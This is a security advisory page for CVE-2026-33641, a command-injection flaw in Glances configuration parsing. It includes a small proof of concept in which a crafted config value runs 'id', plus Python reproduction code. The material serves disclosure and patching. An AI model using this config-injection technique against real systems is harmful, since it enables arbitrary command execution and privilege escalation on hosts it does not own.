CVE-2026-33641: Glances Vulnerable to Command Injection via Dynamic Configuration Values
Summary Glances supports dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.getvalue() and is implemented without validation or restriction of the executed commands.
Published Mar 30, 2026 · Updated Apr 27, 2026
Affected packages
Glances
- Ecosystem
- PyPI
- Affected
- <= 4.5.2
- Fixed in
- 4.5.3
- Check
pip show Glances
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Glances supports dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.get_value() and is implemented without validation or restriction of the executed commands.
If an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation.
Details
- Glances loads configuration files from user, system, or custom paths during initialization.
- When retrieving a configuration value, Config.get_value() scans for substrings enclosed in backticks.
File: glances/config.py
match = self.re_pattern.findall(ret)
for m in match:
ret = ret.replace(m, system_exec(m[1:-1]))- The extracted string is passed directly to system_exec().
File: glances/globals.py
res = subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode('utf-8')- The command is executed and its output replaces the original configuration value.
This execution occurs automatically whenever the configuration value is read.
Affected Files
glances/config.py — dynamic configuration parsing
glances/globals.py — command execution helper
Proof of Concept (PoC)
Scenario: Arbitrary command execution via configuration value
Step 1 — Create malicious configuration file
/tmp/glances.confadd below txt on the file
[outputs]
url_prefix = 'id'Step 2 — Launch Glances with custom configuration
glances -C /tmp/glances.confStep 3 — Observe behavior
When Glances reads the configuration:
- The command inside backticks is executed
- Output replaces the configuration value
- Execution occurs without user interaction
Reproduce using Python code
import subprocess
import re
def system_exec(command):
return subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode().strip()
value = "`id`"
pattern = re.compile(r'(`.+?`)')
for m in pattern.findall(value):
print(system_exec(m[1:-1]))Output:
uid=1000(user) gid=1000(user) groups=1000(user)
Impact
Arbitrary Command Execution
Any command enclosed in backticks inside a configuration value will execute with the privileges of the Glances process.
Potential Privilege Escalation
If Glances runs as a privileged service (e.g., root), commands execute with those privileges.
Possible scenarios include:
- Misconfigured file permissions allowing unauthorized config modification
- Shared systems where configuration directories are writable by multiple users
- Container environments with mounted configuration volumes
- Automated configuration management systems that ingest untrusted data
Credited to mith36.
References
- https://github.com/nicolargo/glances/security/advisories/GHSA-qhj7-v7h7-q4c7
- https://nvd.nist.gov/vuln/detail/CVE-2026-33641
- https://github.com/nicolargo/glances/commit/358d76a225fc21a9f95d2c4d7e46fafe64a644c6
- https://github.com/nicolargo/glances/releases/tag/v4.5.3
- https://github.com/advisories/GHSA-qhj7-v7h7-q4c7
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-34839
Glances: Cross-Origin Information Disclosure via Unauthenticated REST API (/api/4) due to Permissive CORS
high6.5Apr 21, 2026CVE-2026-33533
Glances Vulnerable to Cross-Origin System Information Disclosure via XML-RPC Server CORS Wildcard
high7.1Mar 30, 2026CVE-2026-32596
Glances exposes the REST API without authentication
high8.7Mar 16, 2026CVE-2026-32608
Glances has a Command Injection via Process Names in Action Command Templates
high7.0Mar 16, 2026CVE-2026-32609
Glances has Incomplete Secrets Redaction: /api/v4/args Endpoint Leaks Password Hash and SNMP Credentials
high7.5Mar 16, 2026CVE-2026-32610
Glances's Default CORS Configuration Allows Cross-Origin Credential Theft
high8.1Mar 16, 2026
